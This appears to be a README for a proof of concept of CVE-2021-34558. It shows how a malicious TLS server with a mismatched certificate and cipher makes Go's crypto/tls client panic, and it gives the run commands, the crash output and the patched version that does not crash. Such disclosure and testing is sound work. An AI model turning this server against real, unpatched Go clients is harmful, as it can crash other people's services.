alexzorin/cve-2021-34558Proof-of-concept for CVE-2021-34558, demonstrating a TLS handshake panic in Go's crypto/tls via a malicious server with mismatched certificate and cipher.
# Run the malicious TLS server
go run main.go -mode server
# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client
There is a minor modification to ./vendor/github.com/refraction-networking/utls/handshake_server.go to enable the malicious handshake to be sent with a mismatching certificate/cipher.
It looks like this:
$ go run main.go -mode client
panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey

A patched version of Go (1.16.6+) does not crash:
$ go run main.go -mode client
